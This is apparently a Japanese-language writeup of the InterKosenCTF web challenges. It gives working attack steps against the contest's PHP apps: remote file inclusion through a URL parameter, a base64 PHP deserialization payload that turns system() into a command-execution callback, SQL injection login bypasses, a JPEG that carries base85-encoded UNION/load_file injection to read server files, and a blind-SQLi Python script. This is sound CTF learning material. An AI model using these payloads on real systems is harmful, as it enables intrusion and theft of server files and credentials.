InterKosenCTF Writeup
「高専生でなくとも参加可能」とのことで、高専生による高専生のためのInterKosenCTFに参加。
今回はnoranecoチームではなく、有志のdoranecoチームで参加した。
(PwnとCryptを解くメンバーが不在のため、ほぼ手つかず。)
全てのWeb問題がソースコードが公開されており、guess要素もなく良問揃いだった。
特にImage Uploaderは、試行錯誤でそこそこ苦労したが楽しんで解くことができた。
目次
- [Web 100pts]Gimme Chocolate
- [Web 200pts]Secure Session
- [Web 250pts]Login
- [Web 350pts]Image Uploader
- [Web 50pts]Login Reloaded
[Web 100pts]Gimme Chocolate
問題
view source
リンクからソースコードを確認可能。
Writeup
機能は以下2つ。
- codeを保存する機能。codeはbranf*ck形式。
- 保存したcodeをbranf*ckとして実行し、
Give Me a Chocolate!!
のメッセージが返却されたらフラグを表示する機能。
しかし、code保存機能は100バイトまでしか保存できない。以下ソースコード抜粋。
$fp = fopen($prefix.DIRECTORY_SEPARATOR.$_POST['name'], 'w'); if ($fp === FALSE || fwrite($fp, $_POST['code'], 100) === FALSE) { $errs []= 'Unexpected error. Please contact the admin.'; break; } fclose($fp);
Web上の適当なbrainf*ckの変換サービスを使用してGive Me a Chocolate!!
を変換すると226バイト。
よって、code保存機能を使用しても目的のコードは作成できない。
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>+.>+++++.+++++++++++++.-----------------.<<++.>++++++.>.<<.>>----.<<.>----------.>+++++++.+++++++.------------.++++++++++++.---.-----------.+++++++++++++++++++.---------------.<<+..
あらためてcodeを実行する機能のソースコードを確認すると、GETで得たファイルパスをそのままfile_get_contents
に渡している。Remote File Inclusionができそうだ。
$code = file_get_contents($_GET['file']); if ($code === FALSE) { $errs []= 'Could not open the source file.'; break; } $r = bf($code); if ($r === "Give Me a Chocolate!!") { $msgs []= include(dirname(__DIR__).DIRECTORY_SEPARATOR.'flag.php'); } }
自サーバにgiveme
というファイル名でbrainf*ck変換後コードを配備し、file
パラメータにURLをセットして実行する。
root@kali:~# curl http://web.kosenctf.com:8100/ -G -d "execute&file=http://myserver/giveme" (snip) <div class="ms-alert ms-green">KOSENCTF{CIO_CHOCOLATEx2_CHOx3_IIYONE}</div> (snip)
KOSENCTF{CIO_CHOCOLATEx2_CHOx3_IIYONE}
がフラグ。
[Web 200pts]Secure Session
問題
source code
リンクからソースコードをダウンロード可能。
Writeup
ポイントは以下の箇所。
/* Initialize */ if (isset($_POST['save'])) { // You can skip the bothering setup // by loading the saved handler. $handler = unserialize(base64_decode($_POST['save'])); } else { // Or, you can also setup the handler manually. $SECRET_KEY = 'sample-password'; // Keep it secret! $crypto = new SecureCrypto(); $handler = new SecureSession($SECRET_KEY); $handler->set_crypto('encrypt', array($crypto, 'encrypt')); $handler->set_crypto('decrypt', array($crypto, 'decrypt')); }
外部から、暗号化・復号する関数をシリアライズしたオブジェクト(BASE64文字列)で指定可能。
Insecure Deserialization
で攻める。
まず、暗号化・復号関数にSecureCrypto
クラスのインスタンスのencrypt
関数およびdecrypt
関数をセットする代わりに、system
関数をセットする。
また、暗号化・復号関数の第一引数に$SECRET_KEY
が渡されるため、'sample-password'の代わりに、ls -l
をセットする。
これで、ls -l
が実行されるはずである。
ローカルで試す。
php > require_once(__DIR__ . '/modules/crypto.php'); php > require_once(__DIR__ . '/modules/session.php'); php > $SECRET_KEY = 'ls -l'; php > $crypto = new SecureCrypto(); php > $handler = new SecureSession($SECRET_KEY); php > $handler->set_crypto('encrypt', system); PHP Warning: Use of undefined constant system - assumed 'system' (this will throw an Error in a future version of PHP) in php shell code on line 1 php > $handler->set_crypto('decrypt', system); PHP Warning: Use of undefined constant system - assumed 'system' (this will throw an Error in a future version of PHP) in php shell code on line 1 php > session_set_save_handler($handler, true); php > session_start(); php > print_r($handler->read_raw(session_id())); php > session_write_close(); total 4 -rwxrwxrwx 1 root root 3287 Dec 31 09:51 index.php drwxrwxrwx 1 root root 0 Jan 19 10:29 modules
成功した。この改ざんしたhandlerをBASE64エンコードする。
php > var_dump(base64_encode(serialize($handler))); string(204) "TzoxMzoiU2VjdXJlU2Vzc2lvbiI6Mjp7czoyMToiAFNlY3VyZVNlc3Npb24AY3J5cHRvIjthOjI6e3M6NzoiZW5jcnlwdCI7czo2OiJzeXN0ZW0iO3M6NzoiZGVjcnlwdCI7czo2OiJzeXN0ZW0iO31zOjE4OiIAU2VjdXJlU2Vzc2lvbgBrZXkiO3M6NToibHMgLWwiO30="
サーバに投入してみる。
root@kali:~# curl http://web.kosenctf.com:8200/ -d "save=TzoxMzoiU2VjdXJlU2Vzc2lvbiI6Mjp7czoyMToiAFNlY3VyZVNlc3Npb24AY3J5cHRvIjthOjI6e3M6NzoiZW5jcnlwdCI7czo2OiJzeXN0ZW0iO3M6NzoiZGVjcnlwdCI7czo2OiJzeXN0ZW0iO31zOjE4OiIAU2VjdXJlU2Vzc2lvbgBrZXkiO3M6NToibHMgLWwiO30=" (snip) </div> </div> </body> </html> total 16 -r--r--r-- 1 1000 1000 61 Dec 31 00:53 hOI_the_flag_is_here -r--r--r-- 1 1000 1000 3287 Dec 31 00:53 index.php dr-xr-xr-x 2 1000 1000 4096 Dec 31 00:53 modules -r--r--r-- 1 1000 1000 2294 Dec 31 00:53 ssm.tar.gz
成功した。hOI_the_flag_is_hereというファイルがあるようだ。
root@kali:~# curl http://web.kosenctf.com:8200/hOI_the_flag_is_here KOSENCTF{Th3_p01nt_1s_N0t_h0w_s3cur3_1t_1s_But_h0w_t0_us3_1t}
KOSENCTF{Th3_p01nt_1s_N0t_h0w_s3cur3_1t_1s_But_h0w_t0_us3_1t}
がフラグ。
[Web 250pts]Login
問題
出題サイトからソースコードをダウンロード可能。
Writeup
アカウントの登録とログインができる。
ソースコードを読むと、admin
でログインするとフラグが得られるようだ。
ポイントは、以下のログイン処理。
SQL Injectionの脆弱性あり。
// dont' think to try time based sql injection!! usleep(random_int(0, 5000000)); try { $rows = $pdo->query("select username, password from users where username='$username' and password='$password'", PDO::FETCH_ASSOC)->fetchAll(); if (count($rows) == 1 && md5($rows[0]['password']) === md5($password)) { $_SESSION['login'] = $username; } } catch (Exception $e) { // }
しかし、「入力したpassword文字列」と「DBから取得したpassword文字列」のmd5ハッシュ値の一致確認をしているため、union all select~
のペイロードを作ってもNG。
せっかくアカウント登録機能があるため、事前にpayload文字列でアカウントを作成し、そのレコードをselectして取得して一致させる作戦。
以下の文字列をusernameにセットしてアカウントを作る。passwordは何でもよい。
hogehogehoge' union all select 'admin', username from users where username like 'hogehogehoge%
次に、usernameをadmin
、passwordを上記と同じ文字列をセットしてログインする。
ログイン成功。
KOSENCTF{I_DONT_HAVE_ANY_APTITUDE_FOR_MAKING_A_WEB_CHALLENGE_SORRY}
がフラグ。
[Web 350pts]Image Uploader
問題
出題サイトからソースコードをダウンロード可能。
Writeup
HomeとPostとControlの3画面構成。
右上のControlリンクは非活性だがHTMLソースを読むとリンク先がadmin.html
であることを確認できる。
しかし、admin.html
に飛んでもWAFエラーとなる。おそらくこの画面にフラグがある。
Post画面は、UsernameとDescriptionを入力してJPG画像をアップロードする機能を持つ。
アップロードした画像には自動でTagが付く。TagはJPG画像をBASE85でデコードした文字列をsha256でハッシュ計算した値。
Home画面は、Tag入力による画像検索機能と、画面上には表示されていないが、JPG画像をアップロードして一致するJPG画像を表示する検索機能を持つ。
後者の機能にSQL Injectionの脆弱性あり。以下、ソースコード抜粋。
$binary = file_get_contents($_FILES['image']['tmp_name']); $s_image = base85::encode($binary); // Get the image $row = $pdo->query("SELECT * FROM images WHERE image='{$s_image}'")->fetch(PDO::FETCH_ASSOC);
base85でエンコードしたJPG画像ファイルが、SQL Injectionのpayloadになればよい。
よって、JPG画像にpayload文字列をbase85でデコードした文字列を埋め込めばよい。
JPG画像の判定はMIME Typeによる判定のみ。先頭2バイトが\xFF\xD8
ならOK。
$tmp_name = $_FILES['image']['tmp_name']; $finfo = finfo_open(FILEINFO_MIME_TYPE); $mimetype = finfo_file($finfo, $tmp_name); if ($mimetype != "image/jpeg") { header("Location: /"); exit(); }
BASE85のエンコード/デコードモジュールも配布されているため活用する。
まず、admin.htmlをload_fileで読み込むpayloadを持つ画像を作る。
php > require("base85.class.php"); php > file_put_contents("test.jpg",base85::decode("s4@aa'union(select(100),(load_file(CHAR(47,118,97,114,47,119,119,119,47,104,116,109,108,47,97,100,109,105,110,46,104,116,109,108))),(101),(102))###")); php > echo base85::encode(file_get_contents("test.jpg")); s4@aa'union(select(100),(load_file(CHAR(47,118,97,114,47,119,119,119,47,104,116,109,108,47,97,100,109,105,110,46,104,116,109,108))),(101),(102))#"o
以下に解説。
s4@
をデコードすると、\xFF\xD8
になる。
php > require("base85.class.php"); php > file_put_contents("test.jpg",base85::decode("s4@")); php > $finfo = finfo_open(FILEINFO_MIME_TYPE); php > echo finfo_file($finfo, "test.jpg"); image/jpeg
他、BASE85でデコード→エンコードしたときに、元の文字列に戻らない箇所を以下のとおり工夫している。
s4@
の後ろのaa
は、その後ろの'union
が元の文字列に戻らなかったための措置。- 最後の
#
を3連続にしているのは、1つだけだと#
が消えるまたは変化するための措置。 load_file
の引数にそのままファイルパス文字列を与えず、CHAR関数を介しているのは、ファイルパス文字列に特定の文字が含まれると元に戻らないための措置。例えばv
とか。なお、上記のCHAR(47,118,97,114,...
は、/var/www/html/admin.html
を意味する。- BASE85はスペースが使えないため、全体的にスペースを使用せずに
()
で代替している。
この画像で検索をかける。
root@kali:~/image_uploader# curl http://web.kosenctf.com:8400/ -F "image=@test.jpg" -F search=1 (snip) <h3>Welcome, admin!</h3> <p>The flag is KOSENCTF{&lt;The password to bypass the WAF&gt;}</p> <p>If you haven't get the password yet, try harder and find the password.</p> (snip)
まだクリアでないようだ。WAFモジュールに何かありそうだ。
まずはapacheの設定ファイルである/etc/apache2/apache2.conf
を確認する。
php > file_put_contents("test.jpg",base85::decode("s4@aa'union(select(100),(load_file(CHAR(47,101,116,99,47,97,112,97,99,104,101,50,47,97,112,97,99,104,101,50,46,99,111,110,102))),(101),(102))###"));
root@kali:~/image_uploader# curl http://web.kosenctf.com:8400/ -F "image=@test.jpg" -F search=1 (snip) LoadModule waf_module /usr/lib/apache2/modules/mod_waf.so (snip)
/usr/lib/apache2/modules/mod_waf.so
を確認する。バイナリファイルのため、TO_BASE64
関数でBASE64エンコードする。
file_put_contents("test.jpg",base85::decode("s4@aa'union(select(100),(TO_BASE64(load_file(CHAR(47,117,115,114,47,108,105,98,47,97,112,97,99,104,101,50,47,109,111,100,117,108,101,115,47,109,111,100,95,119,97,102,46,115,111)))),(100),(100))###"));
root@kali:~/image_uploader# curl http://web.kosenctf.com:8400/ -F "image=@test.jpg" -F search=1 (snip) <p>Uploaded by f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkAkAAAAAAABAAAAAAAAAAIAhAAAAAAAAAAAAAEAAOAAH AEAAGwAaAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdA4AAAAAAAB0DgAAAAAAAAAA IAAAAAAAAQAAAAYAAABIHQAAAAAAAEgdIAAAAAAASB0gAAAAAAAgAwAAAAAAACgDAAAAAAAAAAAg AAAAAAACAAAABgAAAGgdAAAAAAAAaB0gAAAAAABoHSAAAAAAAPABAAAAAAAA8AEAAAAAAAAIAAAA AAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAA AAAAUOV0ZAQAAACoDQAAAAAAAKgNAAAAAAAAqA0AAAAAAAAkAAAAAAAAACQAAAAAAAAABAAAAAAA AABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAA AFL (snip)
BASE64文字列の箇所を抜き出してファイルを作成、BASE64デコードして元のmod_waf.so
ファイルを復元、stringsコマンドで有用なデータを探す。
root@kali:~/image_uploader# cat mod_waf.so.base64 | head f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkAkAAAAAAABAAAAAAAAAAIAhAAAAAAAAAAAAAEAAOAAH AEAAGwAaAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdA4AAAAAAAB0DgAAAAAAAAAA IAAAAAAAAQAAAAYAAABIHQAAAAAAAEgdIAAAAAAASB0gAAAAAAAgAwAAAAAAACgDAAAAAAAAAAAg AAAAAAACAAAABgAAAGgdAAAAAAAAaB0gAAAAAABoHSAAAAAAAPABAAAAAAAA8AEAAAAAAAAIAAAA AAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAA AAAAUOV0ZAQAAACoDQAAAAAAAKgNAAAAAAAAqA0AAAAAAAAkAAAAAAAAACQAAAAAAAAABAAAAAAA AABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAA AFLldGQEAAAASB0AAAAAAABIHSAAAAAAAEgdIAAAAAAAuAIAAAAAAAC4AgAAAAAAAAEAAAAAAAAA BAAAABQAAAADAAAAR05VAL4tUliBbi56OIgdMmfBZEF6qiCmAAAAAAMAAAATAAAAAQAAAAYAAACI wCAFAAVACRMAAAAWAAAAGAAAAEJF1eyoRinzu+OSfNhxWBy5jfEO69PvDgAAAAAAAAAAAAAAAAAA root@kali:~/image_uploader# base64 -d mod_waf.so.base64 > mod_waf.so root@kali:~/image_uploader# strings mod_waf.so (snip) `[]A\A]A^ admin password /var/www/secret-pwd-file <!-- mod_waf v0.1 --> (snip)
/var/www/secret-pwd-file
が怪しい。
同じ方法でファイルを取得する。
php > file_put_contents("test.jpg",base85::decode("s4@aa'union(select(100),(load_file(CHAR(47,118,97,114,47,119,119,119,47,115,101,99,114,101,116,45,112,119,100,45,102,105,108,101))),(100),(100))###"));
root@kali:~/image_uploader# curl http://web.kosenctf.com:8400/ -F "image=@test.jpg" -F search=1 <p>Uploaded by awkward_SQLi_2_bypass_WAF_module</p>
KOSENCTF{awkward_SQLi_2_bypass_WAF_module}
がフラグ。
[Web 50pts]Login Reloaded
残念ながら解けなかった。
Blind SQL Injectionでパスワードを1文字ずつ特定するプログラムを作って流し、待ち時間にウッキウキで家事やら子どもの相手をしていた。
128文字のパスワードが得られたのを見てから、以下のコードの意図に気付き白目になった。
if (isset($_POST['name']) && isset($_POST['password']) && strlen($_POST['name']) < 128 && strlen($_POST['password']) < 128) {
※追記 Blind SQL Injectionのコードは以下の通り。
import requests import string URL = 'http://web.kosenctf.com:8500/login.php' LETTERS = string.digits + 'abcdef' target = "" while True: flag = False for e in LETTERS: tmp = target + e req = requests.Request( 'POST', URL, data={ "name" : "' union all select 'a',CASE WHEN SUBSTR((select password from users where username='admin'),{},1)='{}' THEN 'a' ELSE 'b' END --".format(len(tmp),e), "password" : "a" }, ) prepared = req.prepare() s = requests.Session() r = s.send(prepared, allow_redirects = True) if "HELLO" in r.text: target = tmp print(target) flag = True break if flag: continue exit()
実行して待つと以下のパスワードが得られる。
9072864df2f0c01ff241ac5771a90f64f10247fb3544a18fc5675bfee225fee853d4a099b7fb23e8b08079b490b80f16a0a18e86589694ebc6907d5dfe70cf6b